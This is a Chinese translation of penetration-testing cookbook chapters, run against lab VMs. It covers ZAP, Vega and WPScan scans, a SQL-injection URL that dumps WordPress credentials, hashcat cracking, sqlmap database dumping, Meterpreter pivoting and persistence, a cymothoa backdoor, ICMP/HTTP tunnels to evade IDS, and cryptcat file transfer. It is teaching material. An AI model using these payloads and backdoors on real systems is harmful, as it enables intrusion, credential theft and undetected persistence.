  1. 完成此操作后,我们将在快速启动标签页中的输入框中输入 OWASP-BWA 设备的 IP 地址,并点击“攻击”。这将启动扫描过程:

启动 OWASP-ZAP 扫描

  1. 要监控扫描进度,在“活动扫描”标签下,点击进度条左侧紧邻的图标:

启动进度监视器

  1. 扫描进展的详细信息以及已完成的组件可以在弹出窗口中看到。您可以将此窗口保持打开状态,并放置在桌面的另一区域以监视进度,因为扫描可能需要一些时间才能完成:

详细进度

  1. 随着扫描的进行,您将看到以下窗格:

扫描进行中 - OWASP-ZAP

左上:扫描目标站点时创建的站点地图

右上:请求和响应标签显示扫描仪与 Web 服务器之间的通信

左下:打开“警报”标签,您可以看到正在发现的漏洞

右下:显示从左下窗格选择的警报详细信息

  1. 为了保存结果为详细报告,稍后可以通过报告菜单中的“生成 HTML 报告”选择并保存至/root/Chapter9/owasp-zap.html

保存 OWASP-ZAP 扫描结果

  1. 保存后,在 Firefox 中打开并查看结果。我们将在后续的教程中使用此报告中的信息:

还有更多...

由于来自互联网站点的流量容易被追踪,您可能考虑通过替代连接路径运行扫描。一些例子包括:

  • 使用代理链包的 Tor 网络

  • 虚拟私人网络VPN

    • SSH 隧道

    • 第三方 VPN 服务

  • 匿名代理

这些选项各自都有其优点和风险,因此在考虑这些选项时,请权衡性能、易用性和结果的准确性。

启动网站攻击

如前面部分所述,Web 服务器代表了一种既驻留在内部网络也驻留在外部网络的网络设备,如果成功被攻破,可以作为通往内部网络段的路径。除了作为通向内部网络的跳板,Web 应用程序通常还处理敏感数据,如客户数据、支付信息或医疗记录——这些数据都具有很高的价值。

专注于 Web 应用程序本身,我们将使用 Vega 对安装的应用程序进行更深入的分析,以识别可能的漏洞机会。

我们将专注于 Web 应用程序,特别是因为我们在第三章《漏洞分析》和第四章《在目标中发现漏洞》中涵盖了平台和守护进程的漏洞。

准备就绪

为成功完成本节,我们需要以下内容:

  • 在第一章的食谱安装 OWASP-BWA中提到的 OWASP-BWA 的安装和配置,安装 Kali 及实验室设置

  • 你的 Kali Linux 桌面和 OWASP-BWA 实例之间的网络连接

  • 从命令行安装 Vega,如下所示:

root@kali:~/Chapter9#apt-get install vega

如何操作...

在本食谱中,我们将执行以下操作:

  1. 从命令行启动 Vega,并将我们的 OWASP-BWA 实例添加为新的扫描对象。当出现选项对话框时,选择所有可用检查并开始扫描。

  2. 随着扫描的进行,我们将在 Vega 界面中看到更多生成的警报:

Vega 扫描概览

  1. 在左侧列中选择一个警报,将在右侧显示更多详细信息,在此案例中是远程 shell 注入漏洞:

远程 shell 注入漏洞

扫描 WordPress

WordPress 是互联网上最流行的内容管理系统CMS)之一,由于其流行性和程序员能够创建与 WordPress 集成的自定义组件的能力,它成为一个可能具有吸引力的目标。

由于 WordPress 的流行,已有许多工具设计用于扫描这些漏洞。我们将使用其中一个工具——WPScan。

准备工作

为成功完成本节,我们需要以下内容:

  • 在第一章的食谱安装 OWASP-BWA中提到的 OWASP-BWA 的安装和配置,安装 Kali 及实验室设置

  • 你的 Kali Linux 桌面和 OWASP-BWA 实例之间的网络连接

如何操作...

执行针对 WordPress 站点进行扫描的以下步骤是必要的:

  1. 从命令行运行以下命令,以确保我们已下载并安装了最新的数据库:
root@kali:~/Chapter9# wpscan --update
  1. 完成并更新后,我们现在可以使用 WPScan 开始评估我们目标 WordPress 站点(位于我们的 OWASP-BWA 镜像上)的安全性:
root@kali:~/Chapter9# wpscan --url http://192.168.56.100/wordpress/ --enumerate vp,vt --log wpscan.log
  1. 上述命令在我们的 OWASP-BWA 主机上的 WordPress 实例上运行 WPScan,查找已知的易受攻击插件vp)和已知的易受攻击主题vt),并将信息保存到wpscan.log

在扫描远程 WordPress 主机时,最好通过不同的用户代理来查看目标系统是否根据此变化返回不同的结果。你可以通过在命令行中加入-r开关来指示 WPScan 使用随机用户代理。

  1. 现在可以查看生成的日志文件,查看目标系统上存在的漏洞。我们可以通过运行以下命令快速列出漏洞:
root@kali:~/Chapter9# cat wpscan.log | grep Title:
[!] Title: Wordpress 1.5.1 - 2.0.2 wp-register.php Multiple Parameter XSS
[!] Title: WordPress 2.0 - 2.7.1 admin.php Module Configuration Security Bypass
[!] Title: WordPress 1.5.1 - 3.5 XMLRPC Pingback API Internal/External Port Scanning
[!] Title: WordPress 1.5.1 - 3.5 XMLRPC pingback additional issues
[!] Title: WordPress 2.0 - 3.0.1 wp-includes/comment.php Bypass Spam Restrictions
[!] Title: WordPress 2.0 - 3.0.1 Multiple Cross-Site Scripting (XSS) in request_filesystem_credentials()
[!] Title: WordPress 2.0 - 3.0.1 Cross-Site Scripting (XSS) in wp-admin/plugins.php
[!] Title: WordPress 2.0 - 3.0.1 wp-includes/capabilities.php Remote Authenticated Administrator Delete Action Bypass
[!] Title: WordPress 2.0 - 3.0 Remote Authenticated Administrator Add Action Bypass
[!] Title: WordPress <= 4.0 - Long Password Denial of Service (DoS)
[!] Title: WordPress <= 4.0 - Server Side Request Forgery (SSRF)
[!] Title: WordPress <= 4.7 - Post via Email Checks mail.example.com by Default
[!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
[!] Title: myGallery <= 1.4b4 - Remote File Inclusion
[!] Title: Spreadsheet <= 0.6 - SQL Injection
  1. 要获取有关此报告中定位到的漏洞的更多细节,请查看完整的日志文件,因为它包含指向在线资源的 URL,提供更详细的信息。例如,我们的安装存在以下漏洞:
[!] Title: Spreadsheet <= 0.6 - SQL Injection
 Reference: https://wpvulndb.com/vulnerabilities/6482
 Reference: https://www.exploit-db.com/exploits/5486/
  1. 该扫描中的信息将在下一部分中使用,我们将利用这些漏洞控制我们的 WordPress 安装。

破解 WordPress

由于 WordPress 漏洞信息已可用,并且有越来越多有用的工具来验证 WordPress 安装的安全性,我们将利用这些信息执行针对 WordPress 安装的攻击,通过已识别的第三方插件中的 SQL 注入漏洞,针对管理员用户进行攻击。

准备就绪

为了顺利完成这一部分,我们需要以下内容:

  • 按照 第一章 中 安装 OWASP-BWA 的配方,安装和配置 OWASP-BWA,安装 Kali 和实验室设置

  • 在 Kali Linux 桌面和 OWASP-BWA 实例之间的网络连接

  • 扫描 WordPress 部分获得的 WPScan 扫描结果

如何做到这一点...

要获得对远程 WordPress 安装的访问权限,我们将执行以下操作:

  1. 基于之前使用的 WPScan,我们发现电子表格插件存在 SQL 注入漏洞。不幸的是,在我们的 WPScan 中,我们无法枚举用户,因此我们将利用此漏洞获取该安装的管理员用户信息。

  2. 从命令行中,我们将使用 searchsploit 工具定位利用此漏洞的方法:

root@kali:~/Chapter9# searchsploit WordPress Plugin Spreadsheet 0.6 - SQL Injection
  1. 这将展示给我们信息,表明在文件 /usr/share/exploitdb/platforms/php/webapps/5486.txt 中有可用的漏洞信息。当我们打开该文件时,它包含一个示例 URL,允许我们获取管理员信息:
root@kali:~/Chapter9# more /usr/share/exploitdb/platforms/php/webapps/5486.txt
===========================================
There's standart sql-injection in Spreadsheet <= 0.6 Plugin
# Author : 1ten0.0net1
# Script : Wordpress Plugin Spreadsheet <= 0.6 v.
# Download : http://timrohrer.com/blog/?page_id=71
# BUG :  Remote SQL-Injection Vulnerability
# Dork : inurl:/wp-content/plugins/wpSS/
Example:
http://site.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain
===========================================
Vulnerable code:
ss_load.php
 $id = $_GET['ss_id'];
....
ss_functions.php:
function ss_load ($id, $plain=FALSE) {
....
 if ($wpdb->query("SELECT * FROM $table_name WHERE id='$id'") == 0) {
....
==> Visit us @ forum.antichat.ru
# milw0rm.com [2008-04-22]
  1. 如果我们将前面示例中的 URL 示例应用到我们的目录结构中,我们得到以下内容:
http://192.168.56.100/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain
  1. 通过上述 URL,我们将其输入到 Firefox 浏览器中并访问该页面。由于 SQL 注入,我们看到了用户(管理员)、哈希密码和 ID 为 1 的用户的电子邮件地址:

通过漏洞插件获取的管理员用户信息

  1. 让我们将其添加到文件中,以便通过 hashcat 运行并获取密码:
root@kali:~/Chapter9# echo 21232f297a57a5a743894a0e4a801fc3 > wp_admin.txt
  1. 需要注意的是,在 WordPress 版本 2.4 及之前的版本中,密码是作为未加盐的 MD5 哈希存储的,因此我们需要告诉 hashcat 格式是 MD5(-m 0),以使用我们保存到 wp_admin.txt 中的哈希,并使用本地的 rockyou.txt 字典:
hashcat -m 0 wp_admin.txt ./rockyou.txt
  1. Hashcat 现在将通过 rockyou.txt 运行并显示以下内容,其中包括管理员帐户的密码(在本例中是 admin):
Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: 21232f297a57a5a743894a0e4a801fc3
Time.Started.....: Thu Aug 31 22:25:21 2017 (0 secs)
Time.Estimated...: Thu Aug 31 22:25:21 2017 (0 secs)
Guess.Base.......: File (./rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 3059.9 kH/s (0.24ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 20480/14343297 (0.14%)
Rejected.........: 0/20480 (0.00%)
Restore.Point....: 19456/14343297 (0.14%)
Candidates.#1....: admin -> admin
HWMon.Dev.#1.....: N/A
  1. 拥有管理员用户账户密码后,我们可以在登录到 WordPress 实例后为所欲为,包括添加/删除账户、添加/删除插件、上传我们选择的文件等等。

在这个例子中,我们通过 SQL 注入获取了管理员用户的哈希密码,这比暴力破解更可取,因为暴力破解可能会锁定账户并提醒目标系统所有者。WPScan 有远程暴力破解攻击功能,并会尝试定位旨在防止暴力破解攻击的插件。

执行 SQL 注入攻击

几乎所有的模型网页应用都使用底层数据库来存储从应用配置、语言本地化、用户身份验证凭证、销售记录、病历到其他更多内容的信息。网页应用会从这些数据库中读取和写入数据,且这些应用直接面对互联网。

不幸的是,网页应用通常以允许远程用户将自己的命令插入输入表单的方式编写,这使得用户能够改变应用的行为,并可能直接访问数据库。

准备工作

要成功完成这一部分,你将需要以下内容:

  • 按照安装 OWASP-BWA的食谱安装和配置 OWASP-BWA,第一章,安装 Kali 和实验室设置

  • 你的 Kali Linux 桌面与 OWASP-BWA 实例之间的网络连接

  • 在本书的 扫描漏洞 章节中,来自 OWASP-ZAP 的扫描结果,第九章,Web 和数据库特定食谱

  • 你需要以用户名/密码 admin 登录到 http://192.168.56.100/orangehrm/ 的 OrangeHRM 应用,并输入一些用户信息,因为 OWASP 提供的数据库中没有这些信息。

如何操作...

扫描漏洞 中的 OWASP-ZAP 扫描结果开始,我们将执行以下操作:

  1. 正如在黑客攻击 WordPress中看到的,SQL 注入攻击使我们能够提取管理员用户的信息,之后通过 hashcat 破解了这些信息。我们将利用这个单一的漏洞,进一步突破不仅限于 WordPress 数据库。

  2. 首先,我们需要识别底层的数据库。打开终端,在命令行输入以下内容:

root@kali:~/Chapter9# sqlmap -u "http://192.168.56.100/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1"
  1. 这将提供以下信息,表明它是 MySQL 5 或更高版本的服务器:
[03:00:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0
  1. 接下来,我们需要查看目标系统上还有哪些其他数据库。从命令行运行以下命令:
root@kali:~/Chapter9# sqlmap -u "http://192.168.56.100/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1" --dbs
  1. 这将转储通过 SQL 注入向量访问的所有数据库列表:
[03:04:37] [INFO] fetching database names
[03:04:37] [INFO] the SQL query used returns 34 entries
available databases [34]:
[*] .svn
[*] bricks
[*] bwapp
[*] citizens
[*] cryptomg
[*] dvwa
[*] gallery2
[*] getboo
[*] ghost
[*] gtd-php
[*] hex
[*] information_schema
[*] isp
[*] joomla
[*] mutillidae
[*] mysql
[*] nowasp
[*] orangehrm
[*] personalblog
[*] peruggia
[*] phpbb
[*] phpmyadmin
[*] proxy
[*] rentnet
[*] sqlol
[*] tikiwiki
[*] vicnum
[*] wackopicko
[*] wavsepdb
[*] webcal
[*] webgoat_coins
[*] wordpress
[*] wraithlogin
[*] yazd
  1. 从可用数据库的列表中,我们将选择 OrangeHRM,因为它是一个人力资源管理应用。从命令行运行以下命令,以转储 OrangeHRM 数据库中存在的表:
root@kali:~/Chapter9# sqlmap -u "http://192.168.56.100/wordpress/wp-content/plugins/wpSS/ss_load.php?ss_id=1" --tables -D orangehrm
  1. 这将导出 OrangeHRM 数据库中所有表格的列表,返回的数据量相当可观,共 84 个表格。输出的列表中,您将看到一些有趣的表格,如:

hs_hr_customer                 (客户)

hs_hr_emp_directdebit     (直接存款的银行账户信息)

hs_hr_emp_passport        (护照记录)

hs_hr_employee                 (详细的员工信息)

hs_hr_users                        (HR 应用用户,可以创建/修改用户)

员工等)

  1. 利用数据库中的信息,攻击者将能够提取并破解管理员的用户凭证,并以超级用户权限登录。他们可以创建一个虚假的员工,生成工资记录,并通过直接存款将工资汇到外部银行账户。他们还可以利用这些信息窃取任何员工的身份,操控他们的工资等。

需要注意的是,尽管我们开始使用的应用程序与 HR 应用程序无关,但由于它们托管在同一个 MySQL 服务器上,并且使用的用户凭证必须访问所有数据库,我们能够轻松地在数据库之间跳转,即使在这种情况下,HR 应用程序仅在内部可用。

第十章:维持访问

在本章中,我们将讨论以下主题:

  • Pivoting 和扩展对网络的访问

  • 使用持久性来保持系统访问权限

  • 使用 cymothoa 创建 Linux 后门

  • 使用 pingtunnel 进行协议欺骗

  • 使用 httptunnel 进行协议欺骗

  • 使用 cryptcat 隐藏通信

介绍

本章中,我们将探索使用多种方法来保持访问权限。为了获得最佳结果,应该使用多台主机和多种方法。我们还将讨论如何掩盖我们的痕迹,以便更容易隐藏我们的活动。

Pivoting 和扩展对网络的访问

在这个配方中,我们将利用一台主机作为突破口来利用其他主机。

虽然这个配方听起来可能与本章的主题不太相关,但保持对目标网络的访问最好的方法之一是通过利用更多的主机作为通信渠道。如果一个主机被发现,您可以通过其他方式访问其他主机。

准备中

让我们确保以下前提条件:

  • 您的 Kali Linux 虚拟机已启动,并且您已经以 root 身份登录。

  • 您的 Windows XP 虚拟机已在主机专用网络上启动。

如何实现...

完成这个配方时,我们将执行以下步骤:

  1. 在我们开始之前,请验证您的机器的 IP 地址。

  2. 我们将从已经被利用的 Armitage 机器开始。

我们将从 第七章,特权提升配方 远程绕过 Windows UAC 中继续,如果您需要帮助来开始的话! Armitage - 主屏幕

  1. 右键点击被利用的 Windows XP 机器,选择 Meterpreter | Pivoting | Setup:

Armitage - 主屏幕

  1. 在对话框中选择“添加 Pivot”:

Armitage - 添加 Pivot 对话框

  1. 成功后,您将看到一个添加路由的对话框。点击“确定”:

Armitage - Pivot 成功对话框

  1. 现在,从 msf > 提示符下输入 route 并按 Enter,您将看到我们新添加的到该子网主机的路由:

Armitage - 主屏幕 如果这是通过防火墙或其他任何安全边界被攻陷的主机,我现在将能够从 Metasploit 对该子网上的其他主机发起攻击。

使用持久性来保持系统访问权限

在这个配方中,我们将使用持久性来确保在重启后仍然能够访问系统。

准备中

让我们确保以下前提条件:

  • 您的 Kali Linux 虚拟机已启动,并且您已经以 root 身份登录。

  • 您的 Windows XP 虚拟机已在主机专用网络上启动。

如何实现...

在这个配方中,我们将使用持久性方法来保持系统的访问权限:

  1. 在我们开始之前,请验证您的机器的 IP 地址。

  2. 我们将从 Armitage 中一个已经被利用的机器开始,确保它具有提升的权限。

如果你需要帮助来开始,可以继续使用前面的操作。如果你没有提升权限,请在继续之前提升权限。如果你使用的是 XP,可以尝试使用 ms15_051_client_copy_imageArmitage - 主屏幕

  1. 右键点击被利用的主机,选择 Meterpreter | Access | Persist:

Armitage - 主屏幕

  1. 滚动查看持久性屏幕上的选项,确保你的 LHOST 和其他选项正确,同时记下 LPORT,然后点击启动:

Armitage - 持久性对话框

  1. 现在你将看到对主机的攻击启动。一旦完成,你将看到以下内容:

Armitage - 主屏幕

  1. 通过右键点击主机并选择 Meterpreter | Kill 来结束所有与主机相关的 Meterpreter 任务。对每个会话执行此操作。同时,关闭底部的所有窗口,保留控制台窗口:

Armitage - 主屏幕

  1. 让我们查看我们的任务,从控制台 msf > 提示符,输入 jobs 并按 Enter

Armitage - 主屏幕

  1. 结束掉任何与在 步骤 4 中记录的 LPORT 无关的任务。我的情况下,我将通过输入 kill 1 来结束任务 1,然后按 Enter

Armitage - 控制台窗口

  1. 现在,关闭 Windows XP 虚拟机,等待一两分钟,然后重新启动并以相同用户登录。

  2. 现在你将看到 Windows 虚拟机已经重新连接,我们有一个新的 meterpreter 会话可以使用:

Armitage - 主屏幕

使用 cymothoa 创建 Linux 后门

在本操作中,我们将使用 cymothoa 通过后门保持对 Linux 系统的访问。

准备开始

让我们确保满足以下先决条件:

  • 你的 Kali Linux 虚拟机已经启动,并且你已作为 root 用户登录

  • 你的 Metasploitable 虚拟机已经在主机专用网络上启动

如何操作...

为了在 Linux 中创建后门,我们将使用以下操作:

  1. 在我们开始之前,请验证你的机器的 IP 地址。

  2. 在这个案例中,我们将从一个已经被利用的机器开始;我们将通过 SSH 访问 Metasploitable 机器来简化这个过程。

如果你愿意,你可以从第七章继续这个操作,权限提升

  1. 在你的 Kali 机器上启动 Armitage。

  2. 从 Armitage 中,如果 Metasploitable 主机尚未添加,我们来添加它。对于本操作,我的 Metasploitable 机器是 192.168.56.101。如果需要,可以扫描、使用 nmap 并对 Metasploitable 设备进行攻击。

请参见第四章,在目标中寻找漏洞,以了解如何使用 Armitage。

  1. 右键点击 Metasploitable 机器,选择登录 | ssh:

Armitage 主屏幕

  1. 输入 Metasploitable 机器的凭证 msfadmin/msfadmin 并选择启动:

Armitage 凭证对话框

  1. 由于我们已经获得了访问权限,机器图标将发生变化,显示它已被攻破。从这里,右键点击 Metasploitable 机器,选择 shell | interact。

  2. 打开 Firefox 并将以下文件下载到 Kali 机器:sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/cymothoa-1-beta.tar.gz/download

Firefox 保存对话框

  1. 从 Armitage 的 shell 屏幕,右键点击并选择上传:

Armitage shell 屏幕

  1. 浏览并选择 cymothoa-1-beta.tar.gz 文件,将其上传到 Metasploitable 虚拟机:

Armitage 文件上传对话框

  1. 在 Armitage 的 shell 屏幕中,输入以下命令:
tar xvfz cymothoa-1-beta.tar.gz <enter>
chmod +x cymothoa-1-beta -R <enter>
cd cymothoa-1-beta <enter>
make <enter>
./cymothoa <enter>

Armitage shell 屏幕

  1. 让我们通过输入以下命令来寻找一个进程进行附加:
ps -aux

Armitage 全屏

  1. 现在让我们尝试附加到我们看到的一个进程——记下一个 PID 值——shell 进程是一个很好的尝试。在这种情况下,我们将使用 PID 4720,并将在端口 4000 上打开一个反向连接的洞口:
./cymothoa -p 4720 -s 1 -y 4000

Armitage 全屏你可能需要尝试几个不同的进程 ID,直到成功感染。如果最坏的情况发生了,请以 msfadmin 用户身份登录 Metasploitable 虚拟机,然后附加到该 bash 进程。

  1. 现在,从你的 Kali Linux 机器打开一个终端会话,并输入以下命令:
cd <enter>
nc 192.168.56.101 4000 <enter>
ls <enter>
whoami <enter>

Kali 终端窗口请注意,你不会在会话中收到任何终端提示,但你将以拥有进程 IDPID)的用户身份输入命令。因此,如果可能的话,请使用如 root 用户这样的高权限来处理 PID。

使用 pingtunnel 进行协议欺骗

在本教程中,我们将使用 pingtunnel 在两台主机之间进行通信隧道。由于大多数时候,ICMP 通信通过防火墙被允许,且很少被大多数公司检查是否存在恶意流量,因此它使得建立一个几乎不会被察觉的连接变得容易。

准备就绪

让我们确保满足以下先决条件:

  • 你的 Kali Linux 虚拟机已开启,并且你已以 root 用户登录。

  • 你的 Ubuntu 虚拟机已启动并且你已登录,处于 NAT 网络中,并且有互联网连接。

如何操作...

要通过 pingtunnel 隧道通信,我们将按照这个过程进行:

  1. 验证 Kali 虚拟机和 Ubuntu 虚拟机的 IP 地址。就我而言,我的 Kali 主机的 IP 是10.0.2.5,Ubuntu 是10.0.2.6

  2. 首先,我们将在当前登录的 Ubuntu 虚拟机上开始,接着通过在控制台输入以下命令来提升权限至 root:

sudo su <enter>
  1. 现在我们将在 Ubuntu 虚拟机上安装ptunnel,使用以下命令:
apt install ptunnel <enter>

Ubuntu 控制台

  1. 现在我们开始在 Ubuntu 机器上启动隧道:
ptunnel <enter>
  1. 切换到 Kali 机器,打开一个终端窗口并输入以下命令:
ptunnel -p 10.0.2.6 -lp -8022 -da localhost -dp 22 <enter>
  1. 在 Kali 虚拟机上打开第二个终端窗口,输入以下命令,将用户leonard替换为 Ubuntu 机器上的有效用户。

在之前的实验中,我们在 Ubuntu 机器上设置了一个名为Leonard的用户,密码为 penny。

ssh leonard@10.0.2.5 -p 8022 <enter>

Kali 终端窗口 - SSH 连接

  1. 让我们看看我们在 Kali 虚拟机上启动ptunnel的代理窗口,你将看到它注册了传入的连接:

Kali 终端窗口 - ptunnel

  1. 最后,让我们看看 Ubuntu 虚拟机上ptunnel代理的情况:

Ubuntu 终端 - ptunnel 在两台机器之间,如果你正在使用 tcpdump 监控流量,你将只看到 ICMP 流量。这是绕过防火墙和 IPS/IDS 设备而不被检测到的绝佳方法。你还可以在被攻破的主机上使用它,将其作为跳板攻击其他计算机。

使用 httptunnel 进行协议欺骗

在本教程中,我们将使用httptunnel在两台主机之间隧道通信。由于大多数公司允许 HTTP 通信通过防火墙,并且通常不进行严格检查,这使得建立一个不易被察觉的连接变得容易。

准备就绪

让我们确保满足以下先决条件:

  • 确保 Kali Linux 虚拟机已启动并且你已登录为 root 用户。

  • 你的 Ubuntu 虚拟机已启动并且你已登录,处于 NAT 网络中,并且有互联网连接。

如何操作...

要使用httptunnel创建隧道,我们将按照以下过程进行:

  1. 验证 Kali 虚拟机和 Ubuntu 虚拟机的 IP 地址。就我而言,我的 Kali 主机的 IP 是10.0.2.5,Ubuntu 是10.0.2.6

  2. 首先,我们将在当前登录的 Ubuntu 虚拟机上开始,并希望通过在控制台输入以下命令来提升权限至 root:

sudo su <enter>
  1. 现在我们将在 Ubuntu 虚拟机上安装httptunnel,并使用以下命令为其准备好运行:
apt install httptunnel <enter>
service apache2 stop <enter>
hts -F localhost:22 80 <enter>
  1. 切换到 Kali 虚拟机,我们将安装并设置客户端,然后通过输入以下命令连接:

在之前的实验中,我们已经在 Ubuntu 主机上设置了一个用户名为Leonard,密码为 penny 的账户。

apt install httptunnel <enter>
htc -F 8022 10.0.2.6:80
ssh leonard@10.0.2.5 -p 8022

Kali 终端窗口你会注意到我们现在已经登录到远程的 Ubuntu 主机。如果你在查看这个流量,你会看到所有的流量看起来像正常的 HTTP 流量。这是另一种绕过防火墙和 IPS/IDS 设备的有用方法,以保持你对网络的访问。

使用 cryptcat 隐藏通信

在这个示例中,我们将使用cryptcat在两台主机之间传输文件。尽管我们在这个示例中使用cryptcat传输文件,但它可以用于各种用途,例如安全聊天、shell 访问、端口扫描等。

准备就绪

让我们确保以下前提条件:

  • 你的 Kali Linux 虚拟机已经启动,你已作为 root 用户登录

  • 你的 Ubuntu 虚拟机已经启动,并且你已经登录,处于 NAT 网络中并有互联网连接

如何操作...

为了使用cryptcat创建隧道以隐藏通信,我们将按照以下步骤操作:

  1. 验证你的 Kali 虚拟机和 Ubuntu 虚拟机的 IP 地址。根据我的需要,我的 Kali 主机是10.0.2.5,Ubuntu 主机是10.0.2.6

  2. 首先我们将从当前登录的 Ubuntu 虚拟机开始,并通过在控制台中输入以下命令来将自己提升为 root 用户:

sudo su <enter>
  1. 接下来,我们必须在 Ubuntu 虚拟机上安装cryptcat,输入以下命令:
apt install cryptcat
  1. 从 Ubuntu 机器上,我们将输入以下命令来创建一个有趣的文件:
cd <enter>
touch payroll.txt <enter>
echo "john makes lots of money" >> payroll.txt <enter>
cat payroll.txt <enter>

Ubuntu 终端窗口

  1. 准备通过cryptcat传输文件,输入以下命令:
cryptcat -k password -v -l -p 8443 < payroll.txt <enter>
  1. 切换到 Kali 主机,让我们通过打开终端窗口并输入以下命令来检索并验证文件:
cryptcat -k password -v 10.0.2.6 8443 >> payroll.txt <enter>
<ctrl>-c
cat payroll.txt

Kali 终端窗口

  1. 让我们看看 Ubuntu 终端显示了什么:

Ubuntu 终端

还有更多...

cryptcat实际上与 netcat 相同,唯一不同的是它允许通过明文通信进行加密。要获取更多可用命令的信息,请参考netcatnc)页面。使用cryptcat时,它只需添加一个额外的命令行选项-k <password>,其中 password 是用于加盐密码并创建安全通信的密钥。

请查阅 – www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf

posted @ 2025-06-19 16:03  绝不原创的飞龙  阅读(14)  评论(0)    收藏  举报